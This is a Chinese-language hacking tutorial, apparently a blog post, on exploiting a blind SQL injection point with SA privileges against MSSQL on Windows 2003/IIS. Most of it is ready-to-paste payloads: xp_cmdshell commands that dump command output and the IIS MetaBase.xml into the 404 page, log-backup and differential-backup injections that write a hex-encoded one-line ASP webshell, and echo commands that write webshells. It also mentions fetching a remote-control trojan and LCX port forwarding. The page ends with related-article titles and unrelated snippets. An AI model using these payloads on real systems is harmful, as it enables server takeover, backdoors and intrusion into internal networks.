一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

这里的主机环境:MSSQL+JSP 权限为不显错的SA,支持多行执行 xp_cmdshell存活 服务器处于内网,WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003,IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路:

首先:

通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面,然后访问WEB站点的一个不存在的目录得到命令执行结果,刺探服务器信息。

1.日志备份获得Webshell

2.数据库差异备份获得Webshell

4.直接下载******远控******。

5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件(C:\Windows\system32\inetsrv\MetaBase.xml )分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。

在这里我就不浪费大家时间了,我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载************。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了,

我直接演示后面一个方法

分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

◆日志备份:

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件,删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

◆数据库差异备份

(1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码

(2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话****** %><%eval(request(chr(97))):response.end%>

3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

用^转义字符来写ASP(一句话木马)文件的方法:

1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--

2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

读取IIS配置信息获取web路径

注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

参考文章:drops.wooyun.org/tips/401

MSSQL Sa账户弱口令利用总结 
https://maoxian.de/2011/12/mssql-sa%E8%B4%A6%E6%88%B7%E5%BC%B1%E5%8F%A3%E4%BB%A4%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/50.html

MSSQL注入SA权限不显错模式下的 入 侵的更多相关文章

  1. Mssql显错和不显错模式下的注入

    Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51 近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用! -------------------- ...

  2. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  3. mssql注入指令

    and exists (select * from sysobjects) //判断是否是MSSQL and exists(select * from tableName) //判断某表是否存在..t ...

  4. mssql 注入

    注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...

  5. MSSQL注入常用SQL语句整理

    很多情况下使用工具对mssql注入并不完善,所以我们就需要手工注入,一下是本人收集的一些mssql的sql语句. 手工MSSQL注入常用SQL语句 and exists (select * from ...

  6. 收集的MSSQL注入笔记

    ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) ...

  7. MSSQL注入--反弹注入

    明明是sql注入的点,却无法进行注入,注射工具拆解的速度异常的缓慢,错误提示信息关闭,无法返回注入的结果,这个时候你便可以尝试使用反弹注入, 反弹注入需要依赖于函数opendatasource的支持, ...

  8. 大哥带的MSsql注入(SQL Server)--预习

    ①判断数据库类型and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) f ...

  9. 学习笔记 MSSQL显错手工注入

    和朋友一起学习,速度就是快.感谢珍惜少年时. 网上很多都在长篇大论MSSQL显错手工注入,其实原理只有一小段.如下: ' and (查询一段内容)=1 and 'C'='Cnvarchar类型(查询一 ...

随机推荐

  1. SoundPool 播放提示音

    SoundPool 一个声音播放的辅助类,从名字可以看出,它具有 “池”的能力,它先加载声音文件到内存,以支持多次播放声音文件. 特点 SoundPool适合 短小的 声音文件 SoundPool适合 ...

  2. gdb 脚本

    不满足于一条一条执行命令,我们可以将命令写进脚本里面,连续执行, 1: gdb启动会在当前目录寻找.gdbinit文件,并读取里面的命令列表 2: 我们可以启动gdb 时,加-x cmd.gdb 来指 ...

  3. QT5.3.1 Quick 开发 --- 项目类型的选择(转)

    原文转自 https://www.cnblogs.com/aoldman/p/3966025.html 作为一个转行QT开发的新手,面对基于QML的开发时候 看到很多的项目类型感到很困惑,不知道应该怎 ...

  4. Xcode5 上64位编译 出错No architectures to compile for

    http://blog.csdn.net/chocolateloveme/article/details/16900999 详细错误信息如下: No architectures to compile ...

  5. [Oracle] oracle统计信息

    Oracle统计信息 Oracle数据库里的统计信息可以分为6种类型: 表的统计信息 索引的统计信息 列的统计信息 系统统计信息 数据字典统计信息 内部对象统计信息 图 1: Oracle统计信息 基 ...

  6. Pom报错

    maven的pom报plugins错误的解决方法 maven的pom报plugins错误的解决方法. 引用 Failure to transfer org.apache.maven.plugins:m ...

  7. centos6.5 安装mysql

    在centos6.5上通过yum安装mysql: 1. yum list |grep mysql   (查看版本) 2.安装mysql yum install -y mysql-server mysq ...

  8. python笔记-冒泡排序【转载】

    本篇转自博客:上海-悠悠 原文地址:http://www.cnblogs.com/yoyoketang/tag/python/ 前言 面试的时候经常有面试官喜欢问如何进行冒泡排序?这个问题相信能难倒一 ...

  9. JAVA向EXE文件尾追加配置信息,用于解决局版客户端的程序IP配置问题

    package com.demo.blog; import java.io.DataOutputStream;import java.io.File;import java.io.FileOutput ...

  10. 异步 JavaScript 之理解 macrotask 和 microtask(转)

    这个知识点... https://blog.keifergu.me/2017/03/23/difference-between-javascript-macrotask-and-microtask/? ...